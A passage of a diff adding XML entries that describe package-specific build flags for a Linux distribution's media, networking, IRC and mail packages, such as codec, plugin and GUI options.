+<flag name="maya-shaderlibrary"><![CDATA[Install the maya shader library]]></flag>
+</package>
+<package name="opendx">
+<flag name="cdf"><![CDATA[Adds cdf data exchange format support]]></flag>
+<flag name="hdf"><![CDATA[Adds support for the Hierarchical Data Format]]></flag>
+</package>
+<package name="optipng">
+<flag name="ext-png"><![CDATA[Link with the system libpng, rather than the bundled optimised version.]]></flag>
+<flag name="ext-zlib"><![CDATA[Link with the system zlib, rather than the bundled version optimised specifically for use with png.]]></flag>
+</package>
+<package name="pornview">
+<flag name="mplayer"><![CDATA[Enables mplayer support]]></flag>
+</package>
+<package name="sane-frontends">
+<flag name="gimp"><![CDATA[Build a plugin for the GIMP]]></flag>
+</package>
+<package name="splashutils">
+<flag name="kdgraphics"><![CDATA[Use KD_GRAPHICS for silent mode. This will cover ALL messages (even when there's a kernel panic) with the silent splash image. If the splash daemon dies, this might leave the console dead.]]></flag>
+</package>
+<package name="ufraw">
+<flag name="gimp"><![CDATA[Build a plugin for the GIMP]]></flag>
+</package>
+<package name="xsane">
+<flag name="gimp"><![CDATA[Build a plugin for the GIMP]]></flag>
+</package>
+</category>
+<category name="media-libs">
+<package name="a52dec">
+<flag name="djbfft"><![CDATA[Prefer D.J. Bernstein's library for fourier transforms]]></flag>
+</package>
+<package name="devil">
+<flag name="allegro"><![CDATA[Add support for Allegro]]></flag>
+</package>
+<package name="gd">
+<flag name="fontconfig"><![CDATA[Enable support for managing custom fonts via fontconfig]]></flag>
+</package>
+<package name="giflib">
+<flag name="rle"><![CDATA[Build converters for RLE format (utah raster toolkit)]]></flag>
+</package>
+<package name="libggi">
+<flag name="vis"><![CDATA[Enables sparc vis support for libggi]]></flag>
+</package>
+<package name="libgphoto2">
+<flag name="nousb"><![CDATA[Disable USB support]]></flag>
+</package>
+<package name="libsdl">
+<flag name="noaudio"><![CDATA[Allow users to disable audio support completely (at their own risk)]]></flag>
+<flag name="noflagstrip"><![CDATA[Allow users to use any CFLAGS they like completely (at their own risk)]]></flag>
+<flag name="nojoystick"><![CDATA[Allow users to disable joystick support completely (at their own risk)]]></flag>
+<flag name="novideo"><![CDATA[Allow users to disable video support completely (at their own risk)]]></flag>
+</package>
+<package name="libvorbis">
+<flag name="aotuv"><![CDATA[Allow users to enable aoTuV encoder enhancements]]></flag>
+</package>
+<package name="openexr">
+<flag name="fltk"><![CDATA[Builds the openexr viewer application.]]></flag>
+</package>
+<package name="panda3d">
+<flag name="fmod"><![CDATA[Enables support for using mod files for audio support]]></flag>
+<flag name="nspr"><![CDATA[Enables support for the Netscape Portable Runtime, used in network interface functionality (ie. multiplayer online game networking).]]></flag>
+</package>
+<package name="ploticus">
+<flag name="cpulimit"><![CDATA[Limit cpu usage when generating graphics]]></flag>
+<flag name="svgz"><![CDATA[Compressed svg graphics support]]></flag>
+</package>
+<package name="sdif">
+<flag name="ftruncate"><![CDATA[Enables usage of ftruncate v. truncate]]></flag>
+</package>
+<package name="sdl-mixer">
+<flag name="timidity"><![CDATA[Add support for timidity]]></flag>
+</package>
+<package name="sdl-sound">
+<flag name="physfs"><![CDATA[Enable physfs support]]></flag>
+</package>
+<package name="svgalib">
+<flag name="no-helper"><![CDATA[Do not build the helper kernel module]]></flag>
+</package>
+<package name="urt">
+<flag name="gs"><![CDATA[Add support for postscript]]></flag>
+</package>
+<package name="win32codecs">
+<flag name="real"><![CDATA[Installs the real video codecs]]></flag>
+</package>
+<package name="xine-lib">
+<flag name="cle266"><![CDATA[Suport for the via XvMC libs]]></flag>
+<flag name="dxr3"><![CDATA[Support for DXR3 mpeg accelleration cards]]></flag>
+<flag name="i8x0"><![CDATA[Support the i8x0 XvMC libs]]></flag>
+<flag name="nvidia"><![CDATA[Support the nvidia XvMC libs]]></flag>
+<flag name="vidix"><![CDATA[Support for vidix video output]]></flag>
+<flag name="xvmc"><![CDATA[Support for XVideo Motion Compensation (accellerated mpeg playback)]]></flag>
+</package>
+</category>
+<category name="media-plugins">
+<package name="bmp-wma">
+<flag name="wma123"><![CDATA[Installs optional commandline wma player]]></flag>
+</package>
+<package name="eq-xmms">
+<flag name="sse-filters"><![CDATA[Enable SSE-based equalizer's implementation]]></flag>
+</package>
+<package name="mythdvd">
+<flag name="transcode"><![CDATA[Enable DVD ripping and transcoding]]></flag>
+</package>
+<package name="mythphone">
+<flag name="festival"><![CDATA[Enable festival support]]></flag>
+</package>
+</category>
+<category name="media-radio">
+<package name="xastir">
+<flag name="ax25"><![CDATA[Enable ax25 support]]></flag>
+<flag name="festival"><![CDATA[Enable festival support]]></flag>
+<flag name="shape"><![CDATA[Enable shapelib support]]></flag>
+</package>
+</category>
+<category name="media-sound">
+<package name="alsa-patch-bay">
+<flag name="fltk"><![CDATA[Compile with fltk interface and not with gtkmm2 interface]]></flag>
+</package>
+<package name="alsa-tools">
+<flag name="fltk"><![CDATA[Enable FLTK support]]></flag>
+</package>
+<package name="amarok">
+<flag name="musicbrainz"><![CDATA[Enable support for MusicBrainz audio lookups (musicbrainz.org)]]></flag>
+<flag name="noamazon"><![CDATA[Disable support for downloading covers from amazon.com]]></flag>
+<flag name="visualization"><![CDATA[Support visualization plugins through media-libs/libvisual]]></flag>
+</package>
+<package name="audacity">
+<flag name="libsamplerate"><![CDATA[Build with libsamplerate support]]></flag>
+</package>
+<package name="beep-media-player">
+<flag name="old-eq"><![CDATA[Use old-style XMMS equalizer (not recommended)]]></flag>
+</package>
+<package name="bmpx">
+<flag name="irssi"><![CDATA[Install irssi script (need dbus and perl)]]></flag>
+<flag name="xchat"><![CDATA[Install xchat script (need dbus and perl/python)]]></flag>
+</package>
+<package name="daapd">
+<flag name="mpeg4"><![CDATA[Enable AAC metadata support]]></flag>
+</package>
+<package name="ecasound">
+<flag name="libsamplerate"><![CDATA[Build with libsamplerate support]]></flag>
+</package>
+<package name="freewheeling">
+<flag name="fluidsynth"><![CDATA[compile with support for fluidsynth]]></flag>
+</package>
+<package name="gnusound">
+<flag name="libsamplerate"><![CDATA[Build gnusound with support for converting sample rates using libsamplerate]]></flag>
+</package>
+<package name="hydrogen">
+<flag name="ladspa"><![CDATA[Enables the ability to support ladspa plugins]]></flag>
+</package>
+<package name="jack-audio-connection-kit">
+<flag name="coreaudio"><![CDATA[Build the CoreAudio driver on Mac OS X systems]]></flag>
+<flag name="jack-tmpfs"><![CDATA[Compile in a tmpf path]]></flag>
+</package>
+<package name="kid3">
+<flag name="musicbrainz"><![CDATA[Enable support for MusicBrainz audio lookups (musicbrainz.org)]]></flag>
+</package>
+<package name="mhwaveedit">
+<flag name="ladspa"><![CDATA[Enables the ability to support ladspa plugins]]></flag>
+<flag name="libsamplerate"><![CDATA[Build with libsamplerate support]]></flag>
+</package>
+<package name="moc">
+<flag name="libsamplerate"><![CDATA[Support for libsamplerate (Sampling Conversion)]]></flag>
+<flag name="musepack"><![CDATA[Support for musepack (mpc) files]]></flag>
+</package>
+<package name="mpd-svn">
+<flag name="ao"><![CDATA[Use libao for sound playback]]></flag>
+<flag name="icecast"><![CDATA[Enable support for Icecast2]]></flag>
+<flag name="mpd-mad"><![CDATA[Use libmad and libid3tag shipped by MPD]]></flag>
+<flag name="musepack"><![CDATA[Enable support for musepack files]]></flag>
+</package>
+<package name="musepack-tools">
+<flag name="16bit"><![CDATA[Higher quality sound output using dithering and noise-shaping]]></flag>
+</package>
+<package name="museseq">
+<flag name="fluidsynth"><![CDATA[compile with support for fluidsynth]]></flag>
+</package>
+<package name="ncmpc">
+<flag name="clock-screen"><![CDATA[Enable clock screen]]></flag>
+<flag name="key-screen"><![CDATA[Enable key editor screen]]></flag>
+<flag name="mouse"><![CDATA[Enable curses getmouse support]]></flag>
+<flag name="raw-mode"><![CDATA[raw terminal mode]]></flag>
+<flag name="search-screen"><![CDATA[Enable search screen (EXPERIMENTAL)]]></flag>
+</package>
+<package name="rezound">
+<flag name="16bittmp"><![CDATA[Use 16bit temporary files (default 32bit float), usefull for slower computers]]></flag>
+<flag name="soundtouch"><![CDATA[compile with support for soundtouch]]></flag>
+</package>
+<package name="snd">
+<flag name="gsl"><![CDATA[Use the GNU scientific library for calculations]]></flag>
+<flag name="ladspa"><![CDATA[Enables the ability to support ladspa plugins]]></flag>
+</package>
+<package name="timidity++">
+<flag name="ao"><![CDATA[Use libao for sound playback]]></flag>
+</package>
+<package name="zinf">
+<flag name="corba"><![CDATA[Enables corba interface support]]></flag>
+</package>
+</category>
+<category name="media-tv">
+<package name="freevo">
+<flag name="matrox"><![CDATA[Enable output support on Matrox cards]]></flag>
+</package>
+<package name="gentoo-vdr-scripts">
+<flag name="nvram"><![CDATA[Add support for using nvram-wakeup to set wakeup time in bios]]></flag>
+</package>
+<package name="mythtv">
+<flag name="frontendonly"><![CDATA[Only builds the Frontend component rather then the whole suite]]></flag>
+<flag name="lcd"><![CDATA[Enable LCD display support using lcdproc]]></flag>
+<flag name="nvidia"><![CDATA[Enable nVidia XvMC decoding support]]></flag>
+<flag name="unichrome"><![CDATA[Enable VIA Unichrome hardware MPEG decoding]]></flag>
+</package>
+<package name="xawtv">
+<flag name="zvbi"><![CDATA[Enable VBI Decoding Library for Zapping]]></flag>
+</package>
+<package name="xdtv">
+<flag name="aqua_theme"><![CDATA[Enable graphic theme Aqua-style]]></flag>
+<flag name="carbone_theme"><![CDATA[Adds the Carbone pixmaps theme for the GUI]]></flag>
+<flag name="zvbi"><![CDATA[Enable VBI Decoding Library for Zapping]]></flag>
+</package>
+</category>
+<category name="media-video">
+<package name="avifile">
+<flag name="dmalloc"><![CDATA[Enable support for the Debug Malloc Library]]></flag>
+<flag name="dpms"><![CDATA[Enable support for DPMS]]></flag>
+<flag name="sblive"><![CDATA[Enable the AC3 passthrough plugin for SBlive soundcards]]></flag>
+<flag name="vidix"><![CDATA[Build the vidix drivers]]></flag>
+</package>
+<package name="chaplin">
+<flag name="transcode"><![CDATA[Enable DVD ripping and transcoding]]></flag>
+<flag name="vcdimager"><![CDATA[Enables optional support for GNU VCDimager]]></flag>
+</package>
+<package name="dvdrip">
+<flag name="fping"><![CDATA[Enables fping support for cluster rendering]]></flag>
+<flag name="mplayer"><![CDATA[Enables video playback by mplayer]]></flag>
+<flag name="rar"><![CDATA[Enables rar compression of VOB fiels]]></flag>
+<flag name="subtitles"><![CDATA[Enables support for subtitle ripping]]></flag>
+</package>
+<package name="ffmpeg">
+<flag name="network"><![CDATA[Enables network streaming support]]></flag>
+</package>
+<package name="gpac">
+<flag name="amr"><![CDATA[Adaptive Multi-Rate Audio support (commonly used in telephony)]]></flag>
+</package>
+<package name="kmplayer">
+<flag name="mplayer"><![CDATA[Enables video playback by mplayer]]></flag>
+</package>
+<package name="lives">
+<flag name="libvisual"><![CDATA[Enable libvisual support]]></flag>
+</package>
+<package name="mjpegtools">
+<flag name="yv12"><![CDATA[Enables support for the YV12 pixel format]]></flag>
+</package>
+<package name="mkvtoolnix">
+<flag name="lzo"><![CDATA[Enables support for lzo compression]]></flag>
+</package>
+<package name="motiontrack">
+<flag name="libgd"><![CDATA[Enables gd library support for debug purposes]]></flag>
+<flag name="multiprocess"><![CDATA[Enables multi-proccess support (SMP/cluster) for motiontrack programs]]></flag>
+</package>
+<package name="mpeg4ip">
+<flag name="id3"><![CDATA[Support ID3 in the player]]></flag>
+<flag name="lame"><![CDATA[Support LAME mp3 encoding in the server/mp4live]]></flag>
+<flag name="mp4live"><![CDATA[Build the live streaming/encoding software]]></flag>
+<flag name="mpeg2"><![CDATA[Support mpeg2 in the player]]></flag>
+<flag name="player"><![CDATA[Build the player]]></flag>
+<flag name="v4l2"><![CDATA[Enable video4linux2 support for mp4live]]></flag>
+<flag name="x264"><![CDATA[Enable x264 codec for mp4live (using x264-svn)]]></flag>
+</package>
+<package name="mplayer">
+<flag name="3dnowext"><![CDATA[Enables 3dnow extensions in mplayer]]></flag>
+<flag name="bl"><![CDATA[Enables Blinkenlights support in mplayer]]></flag>
+<flag name="cpudetection"><![CDATA[Enables runtime cpudetection]]></flag>
+<flag name="custom-cflags"><![CDATA[Enables custom cflags]]></flag>
+<flag name="edl"><![CDATA[Enables usage of Edit Decision Lists]]></flag>
+<flag name="i8x0"><![CDATA[Enables support for the i8x0 xvmc video driver]]></flag>
+<flag name="live"><![CDATA[Enables live.com streaming media support]]></flag>
+<flag name="lzo"><![CDATA[Enables support for lzo compression]]></flag>
+<flag name="mmxext"><![CDATA[enables mmx2 support]]></flag>
+<flag name="mythtv"><![CDATA[Enables mythtv support in mplayer]]></flag>
+<flag name="nvidia"><![CDATA[Enables support for the nvidia xvmc video driver]]></flag>
+<flag name="real"><![CDATA[Adds real video support]]></flag>
+<flag name="rtc"><![CDATA[Enables usage of the linux real time clock.  The alternative is software emulation of rtc]]></flag>
+<flag name="sse2"><![CDATA[Enables sse2 support]]></flag>
+<flag name="tga"><![CDATA[Enables tga output support]]></flag>
+<flag name="v4l2"><![CDATA[Enables video4linux2 support]]></flag>
+<flag name="xanim"><![CDATA[Enables support for xanim based codecs]]></flag>
+<flag name="xvmc"><![CDATA[Enables X-Video Motion Compensation support]]></flag>
+</package>
+<package name="nvidia-glx">
+<flag name="dlloader"><![CDATA[Enable dynamic module loader instead of ELF loader.  Installs nvidia_drv.so instead of nvidia_drv.o.]]></flag>
+</package>
+<package name="ogmrip">
+<flag name="subp"><![CDATA[Subtitle ripping preliminary support]]></flag>
+</package>
+<package name="transcode">
+<flag name="fame"><![CDATA[Enables libfame support]]></flag>
+<flag name="lzo"><![CDATA[Enables LZO compression support]]></flag>
+<flag name="mjpeg"><![CDATA[Enables mjpegtools support]]></flag>
+<flag name="network"><![CDATA[Enables network streaming support]]></flag>
+<flag name="pvm"><![CDATA[Enables private virtual machine support]]></flag>
+<flag name="sse2"><![CDATA[Enables sse2 support]]></flag>
+</package>
+<package name="vdr">
+<flag name="aio"><![CDATA[use "all in one" patch with much additional features]]></flag>
+<flag name="bigpatch"><![CDATA[enable almost all additional features flying around on the net (including aio)]]></flag>
+<flag name="jumpplay"><![CDATA[enables automatic jumping over cut marks while watching a recording]]></flag>
+<flag name="lnbsharing"><![CDATA[enable support for two or more dvb cards sharing the cable to the lnb]]></flag>
+<flag name="rcu"><![CDATA[enable support for a special type of remote control unit]]></flag>
+<flag name="sourcecaps"><![CDATA[adds the ability to define capabilities of dvb-cards (e.g. card1 can receive Sat @28.2E)]]></flag>
+<flag name="vfat"><![CDATA[allow vdr to store its recordings on vfat filesystems]]></flag>
+</package>
+<package name="vlc">
+<flag name="cdda"><![CDATA[Enables libcdda cd audio playback support]]></flag>
+<flag name="cddb"><![CDATA[Enables libcddb database support for indentifying cd's]]></flag>
+<flag name="cdio"><![CDATA[Enables libcdio support for cd interaction]]></flag>
+<flag name="corba"><![CDATA[Enables corba interface support]]></flag>
+<flag name="daap"><![CDATA[Enables DAAP shares services discovery support]]></flag>
+<flag name="freetype"><![CDATA[Enables freetype font support]]></flag>
+<flag name="httpd"><![CDATA[Enables a web based interface for vlc]]></flag>
+<flag name="live"><![CDATA[Enables LIVE.com support]]></flag>
+<flag name="mod"><![CDATA[Enables Mod demux support]]></flag>
+<flag name="real"><![CDATA[Enables real audio and RTSP modules]]></flag>
+<flag name="screen"><![CDATA[Enables screen capture support]]></flag>
+<flag name="shout"><![CDATA[Enables libshout output]]></flag>
+<flag name="stream"><![CDATA[Enables vlc to stream video]]></flag>
+<flag name="vlm"><![CDATA[New videolan (media) manager (vlm), a little manager designed to launch and manage multiple streams from within one instance of VLC.]]></flag>
+</package>
+<package name="winki">
+<flag name="css"><![CDATA[Enables ripping of encrypted dvds]]></flag>
+</package>
+</category>
+<category name="net-analyzer">
+<package name="aimsniff">
+<flag name="http"><![CDATA[Install the WAS (Web AIM Sniff) frontend]]></flag>
+</package>
+<package name="barnyard">
+<flag name="sguil"><![CDATA[Enable sguil (The Analyst Console for Network Security Monitoring) support]]></flag>
+</package>
+<package name="bmon">
+<flag name="dbi"><![CDATA[Enables libdbi support]]></flag>
+<flag name="rrdtool"><![CDATA[Enables librrd support]]></flag>
+</package>
+<package name="bwm-ng">
+<flag name="csv"><![CDATA[enable csv output]]></flag>
+<flag name="html"><![CDATA[enable html output]]></flag>
+</package>
+<package name="echoping">
+<flag name="http"><![CDATA[enable support for http protocol.]]></flag>
+<flag name="icp"><![CDATA[enable support for ICP (used to monitor proxies).]]></flag>
+<flag name="priority"><![CDATA[enable socket priority support.]]></flag>
+<flag name="smtp"><![CDATA[enable supprt for SMTP protocol.]]></flag>
+<flag name="tos"><![CDATA[enable support for TOS (TYpe Of Service).]]></flag>
+</package>
+<package name="fprobe">
+<flag name="messages"><![CDATA[enable console messages]]></flag>
+</package>
+<package name="nagios-core">
+<flag name="noweb"><![CDATA[disable web interface]]></flag>
+</package>
+<package name="nagios-nrpe">
+<flag name="command-args"><![CDATA[allow clients to specify command arguments]]></flag>
+</package>
+<package name="nagios-plugins">
+<flag name="nagios-dns"><![CDATA[installs deps for dns monitoring]]></flag>
+<flag name="nagios-game"><![CDATA[installs deps for monitoring games-util/qstat]]></flag>
+<flag name="nagios-ntp"><![CDATA[installs deps for ntp monitoring]]></flag>
+<flag name="nagios-ping"><![CDATA[installs deps for fancy ping monitoring]]></flag>
+<flag name="nagios-ssh"><![CDATA[installs deps for monitoring ssh]]></flag>
+<flag name="ups"><![CDATA[installs deps for monitoring Network-UPS (www-apps/nut)]]></flag>
+</package>
+<package name="net-snmp">
+<flag name="elf"><![CDATA[Enable the use of elf utils to check uptime on some sytems]]></flag>
+<flag name="rpm"><![CDATA[Enable the rpm snmp probing]]></flag>
+<flag name="smux"><![CDATA[Enable the smux MIBS module]]></flag>
+</package>
+<package name="netcat">
+<flag name="GAPING_SECURITY_HOLE"><![CDATA[add support for running programs after connect]]></flag>
+</package>
+<package name="pmacct">
+<flag name="64bit"><![CDATA[Use 64bit counters instead of 32bit ones]]></flag>
+</package>
+<package name="sancp">
+<flag name="sguil"><![CDATA[Enable sguil (The Analyst Console for Network Security Monitoring) support]]></flag>
+</package>
+<package name="snort">
+<flag name="flexresp"><![CDATA[Enable connection tearing (not recommended)]]></flag>
+<flag name="inline"><![CDATA[Enable snort-inline for accepting packets from iptables, via libipq, rather than libpcap.]]></flag>
+<flag name="sguil"><![CDATA[Enable sguil (The Analyst Console for Network Security Monitoring) support]]></flag>
+<flag name="snortsam"><![CDATA[patches snort for use with snortsam]]></flag>
+</package>
+<package name="tcpreplay">
+<flag name="pcapnav"><![CDATA[Enable if you want the jump to byte offset feature via libpcapnav]]></flag>
+</package>
+</category>
+<category name="net-dialup">
+<package name="capi4k-utils">
+<flag name="fax"><![CDATA[Installs capi-fax demo programs]]></flag>
+<flag name="pcmcia"><![CDATA[Installs capi-pcmcia framework]]></flag>
+<flag name="pppd"><![CDATA[Installs pppdcapiplugin modules]]></flag>
+<flag name="tcpd"><![CDATA[Installs rcapid (remote capi daemon)]]></flag>
+<flag name="usb"><![CDATA[Installs capi-usb framework]]></flag>
+</package>
+<package name="freeradius">
+<flag name="edirectory"><![CDATA[Enables Novell eDirectory integration]]></flag>
+<flag name="frascend"><![CDATA[Enables Ascend binary mode]]></flag>
+<flag name="frnothreads"><![CDATA[Disables thread support]]></flag>
+<flag name="frxp"><![CDATA[Enables experimental modules]]></flag>
+<flag name="udpfromto"><![CDATA[Compile in UDPFROMTO support]]></flag>
+</package>
+<package name="isdn4k-utils">
+<flag name="activefilter"><![CDATA[Enable activefilter support for ipppd]]></flag>
+<flag name="eurofile"><![CDATA[Support for EUROFILE Transfer Protocol]]></flag>
+<flag name="ipppd"><![CDATA[Build the (ISDN) PPP daemon for synchronous PPP for ISDN connections]]></flag>
+<flag name="isdnlog"><![CDATA[Install the isdn log system]]></flag>
+<flag name="mschap"><![CDATA[Enable Microsoft chap authentication for ipppd]]></flag>
+<flag name="pcmcia"><![CDATA[Install isdn-pcmcia framework]]></flag>
+<flag name="usb"><![CDATA[Install isdn-usb framework]]></flag>
+</package>
+<package name="ivcall">
+<flag name="softfax"><![CDATA[Enables soft fax support]]></flag>
+</package>
+<package name="ppp">
+<flag name="activefilter"><![CDATA[Enables activefilter support]]></flag>
+<flag name="atm"><![CDATA[Enables support for PPP over ATM (PPPoA)]]></flag>
+<flag name="dhcp"><![CDATA[Enables the DHCP plugin]]></flag>
+<flag name="eap-tls"><![CDATA[Enables support for Extensible Authentication Protocol and Transport Level Security (EAP-TLS)]]></flag>
+<flag name="mppe-mppc"><![CDATA[Enables support for MPPE-MPPC]]></flag>
+</package>
+</category>
+<category name="net-dns">
+<package name="bind">
+<flag name="bind-mysql"><![CDATA[enables mysql support for bind (non-dlz)]]></flag>
+<flag name="dlz"><![CDATA[enables dynamic loaded zones, 3rd party extension]]></flag>
+</package>
+<package name="djbdns">
+<flag name="aliaschain"><![CDATA[enables a fix for the truncation of alias chains]]></flag>
+<flag name="cnamefix"><![CDATA[changes the CNAME behavior of dnscache]]></flag>
+<flag name="fwdzone"><![CDATA[enables forward zone patch]]></flag>
+<flag name="ipv6arpa"><![CDATA[enables ipv6 arpa patch]]></flag>
+<flag name="multipleip"><![CDATA[enables multi-IP patch]]></flag>
+<flag name="roundrobin"><![CDATA[enables round robin patch]]></flag>
+<flag name="semanticfix"><![CDATA[makes tinydns-data handle more semantic errors]]></flag>
+</package>
+<package name="pdns">
+<flag name="recursor"><![CDATA[Enable the recursing nameserver]]></flag>
+<flag name="tdb"><![CDATA[Enable the Trivial Database (xdb) backend]]></flag>
+</package>
+<package name="pdnsd">
+<flag name="isdn"><![CDATA[enable isdn features]]></flag>
+</package>
+</category>
+<category name="net-firewall">
+<package name="ipsec-tools">
+<flag name="idea"><![CDATA[Enable support for the patented IDEA algorithm]]></flag>
+<flag name="rc5"><![CDATA[Enable support for the patented RC5 algorithm]]></flag>
+</package>
+<package name="iptables">
+<flag name="extensions"><![CDATA[Enable support for 3rd patch-o-matic extensions]]></flag>
+</package>
+</category>
+<category name="net-fs">
+<package name="netatalk">
+<flag name="cracklib"><![CDATA[Support for cracklib strong password checking]]></flag>
+</package>
+<package name="nfs-utils">
+<flag name="nonfsv4"><![CDATA[Disable support for NFSv4]]></flag>
+</package>
+<package name="samba">
+<flag name="async"><![CDATA[Enables asynchronous input/output]]></flag>
+<flag name="automount"><![CDATA[Enables automount support]]></flag>
+<flag name="ldapsam"><![CDATA[Enables samba 2.2 ldap support (default passwd backend: ldapsam_compat)]]></flag>
+<flag name="libclamav"><![CDATA[Enables clamav libraries, without needing to use the daemon]]></flag>
+<flag name="oav"><![CDATA[Enables support for anti-virus from the openantivirus.org project]]></flag>
+<flag name="quotas"><![CDATA[Enables support for user quotas]]></flag>
+<flag name="swat"><![CDATA[Enables support for swat configuration gui]]></flag>
+<flag name="syslog"><![CDATA[Enables support for syslog]]></flag>
+<flag name="winbind"><![CDATA[Enables support for the winbind auth daemon]]></flag>
+</package>
+<package name="shfs">
+<flag name="amd"><![CDATA[Enable automounter support]]></flag>
+</package>
+</category>
+<category name="net-ftp">
+<package name="proftpd">
+<flag name="authfile"><![CDATA[Enable support for auth-file module]]></flag>
+<flag name="noauthunix"><![CDATA[Disable support for auth-unix module]]></flag>
+<flag name="sendfile"><![CDATA[Enable support for sendfile()]]></flag>
+<flag name="shaper"><![CDATA[Enable support for the mod_shaper]]></flag>
+<flag name="softquota"><![CDATA[Enable support for the mod_quotatab]]></flag>
+<flag name="xinetd"><![CDATA[Enable support for starting from xinetd]]></flag>
+</package>
+<package name="pure-ftpd">
+<flag name="vchroot"><![CDATA[Enable support for virtual chroot (possible security risc)]]></flag>
+</package>
+<package name="vsftpd">
+<flag name="xinetd"><![CDATA[Add support for running under xinetd]]></flag>
+</package>
+</category>
+<category name="net-im">
+<package name="bitlbee">
+<flag name="aimextras"><![CDATA[Enables extra AIM patches not supported by upstream]]></flag>
+<flag name="flood"><![CDATA[Enable flood protection support]]></flag>
+<flag name="gtalk"><![CDATA[Enable Google Talk support]]></flag>
+<flag name="msnextras"><![CDATA[Enables extra MSN patches not supported by upstream]]></flag>
+<flag name="openssl"><![CDATA[Use OpenSSL for SSL support in MSN and Jabber.]]></flag>
+</package>
+<package name="centericq">
+<flag name="gg"><![CDATA[Enable support for the Gadu-Gadu IM protocol]]></flag>
+<flag name="irc"><![CDATA[Enable support for the IRC protocol]]></flag>
+<flag name="lj"><![CDATA[Enable support for the LiveJournal weblog system]]></flag>
+<flag name="rss"><![CDATA[Enable support for RSS/RDF feeds]]></flag>
+</package>
+<package name="ejabberd">
+<flag name="mod_irc"><![CDATA[Irc support in ejabberd]]></flag>
+<flag name="mod_muc"><![CDATA[Multi user chat support in ejabberd]]></flag>
+<flag name="mod_pubsub"><![CDATA[Pubsub support in ejabberd]]></flag>
+<flag name="web"><![CDATA[Web support in ejabberd]]></flag>
+</package>
+<package name="ekg2">
+<flag name="gsm"><![CDATA[Enable gsm plugin]]></flag>
+<flag name="nogg"><![CDATA[Disable Gadu-Gadu plugin]]></flag>
+</package>
+<package name="gaim">
+<flag name="silc"><![CDATA[Enable SILC protocol support]]></flag>
+</package>
+<package name="gajim">
+<flag name="srv"><![CDATA[SRV capabilities]]></flag>
+</package>
+<package name="gnugadu">
+<flag name="tlen"><![CDATA[Enable Tlen.pl protocol support]]></flag>
+</package>
+<package name="kadu">
+<flag name="amarok"><![CDATA[Enables amarok support in kadu]]></flag>
+<flag name="config_wizard"><![CDATA[Enables configuration wizard module]]></flag>
+<flag name="extraicons"><![CDATA[Enables extra icon sets]]></flag>
+<flag name="extramodules"><![CDATA[Enables extra module in kadu]]></flag>
+<flag name="mail"><![CDATA[Enables mail module in kadu]]></flag>
+<flag name="pheaders"><![CDATA[Enables precompiled headers in kadu]]></flag>
+<flag name="speech"><![CDATA[Enables speech module in kadu]]></flag>
+<flag name="voice"><![CDATA[Enables voice chat in kadu]]></flag>
+</package>
+<package name="psi">
+<flag name="extras"><![CDATA[Enables extra non official patches]]></flag>
+</package>
+<package name="tmsnc">
+<flag name="talkfilters"><![CDATA[Enables Talkfilters support on tmsnc]]></flag>
+</package>
+</category>
+<category name="net-irc">
+<package name="atheme">
+<flag name="largenet"><![CDATA[Enable support/tweaks for large networks]]></flag>
+</package>
+<package name="bitchx">
+<flag name="cdrom"><![CDATA[Enables CD-ROM support]]></flag>
+</package>
+<package name="srvx">
+<flag name="bahamut"><![CDATA[Choose bahamut protocol over p10 protocol]]></flag>
+</package>
+<package name="unrealircd">
+<flag name="hub"><![CDATA[Enable hub support]]></flag>
+</package>
+<package name="xchat-xsys">
+<flag name="audacious"><![CDATA[Enables Audacious (media player) integration]]></flag>
+<flag name="buttons"><![CDATA[Enables the buttons near the nickname list]]></flag>
+</package>
+<package name="xchat">
+<flag name="xchatdccserver"><![CDATA[Enables support for the /dccserver command via a patch]]></flag>
+<flag name="xchatnogtk"><![CDATA[Disables building the GTK front end to XChat]]></flag>
+<flag name="xchattext"><![CDATA[Enables the text/console front end to XChat]]></flag>
+</package>
+</category>
+<category name="net-libs">
+<package name="aqbanking">
+<flag name="chipcard"><![CDATA[Enable support for DDV/RSA-chipcards]]></flag>
+<flag name="dtaus"><![CDATA[Enable dtaus backend]]></flag>
+<flag name="geldkarte"><![CDATA[Enable geldkarte backend]]></flag>
+<flag name="hbci"><![CDATA[Enable support for HBCI]]></flag>
+</package>
+<package name="gecko-sdk">
+<flag name="mozcalendar"><![CDATA[Enable mozilla calendar extension, http://mozilla.org/projects/calendar/]]></flag>
+<flag name="mozdevelop"><![CDATA[Enable features for web developers (e.g. Venkman)]]></flag>
+<flag name="moznocompose"><![CDATA[Disable building of mozilla's HTML editor component]]></flag>
+<flag name="moznoirc"><![CDATA[Disable building of mozilla's IRC client]]></flag>
+<flag name="moznomail"><![CDATA[Disable building mozilla's mail client]]></flag>
+<flag name="moznoxft"><![CDATA[Disable XFT support in mozilla (also firefox, thunderbird)]]></flag>
+<flag name="mozsvg"><![CDATA[Enable SVG support in mozilla and firefox]]></flag>
+<flag name="mozxmlterm"><![CDATA[Enable mozilla's XML-based command-line terminal]]></flag>
+</package>
+<package name="libpri">
+<flag name="bri"><![CDATA[Enable ISDN BRI support (bristuff)]]></flag>
+</package>
+<package name="libvncserver">
+<flag name="no24bpp"><![CDATA[disable 24bpp support]]></flag>
+<flag name="nobackchannel"><![CDATA[disable backchannel support]]></flag>
+</package>
+<package name="openh323">
+<flag name="noaudio"><![CDATA[Disable audio codecs]]></flag>
+<flag name="novideo"><![CDATA[Disable video codecs]]></flag>
+</package>
+</category>
+<category name="net-mail">
+<package name="cyrus-imapd">
+<flag name="drac"><![CDATA[Enable dynamic relay support in the cyrus imap server]]></flag>
+<flag name="idled"><![CDATA[Enable idled vs poll IMAP IDLE method]]></flag>
+<flag name="unsupported_8bit"><![CDATA[Enable 8bit not supported patch]]></flag>
+</package>
+<package name="dovecot">
+<flag name="nopop3d"><![CDATA[Do not build pop3d support]]></flag>
+<flag name="vpopmail"><![CDATA[Add vpopmail support]]></flag>
+</package>
+<package name="fetchmail">
+<flag name="hesiod"><![CDATA[Enable support for hesiod]]></flag>
+</package>
+<package name="gnubiff">
+<flag name="password"><![CDATA[Enable save passwords to connect mail servers in user space]]></flag>
+</package>
+<package name="hotwayd">
+<flag name="smtp"><![CDATA[Build SMTP proxy (hotsmtpd)]]></flag>
+</package>
+<package name="lbdb">
+<flag name="abook"><![CDATA[Enables app-misc/abook support]]></flag>
+<flag name="finger"><![CDATA[Enables finger support]]></flag>
+</package>
+<package name="mailman">
+<flag name="courier"><![CDATA[Build with delivery options for courier]]></flag>
+<flag name="exim"><![CDATA[Build with delivery options for exim]]></flag>
+<flag name="postfix"><![CDATA[Build with delivery options for postfix]]></flag>
+<flag name="qmail"><![CDATA[Build with delivery options for qmail]]></flag>
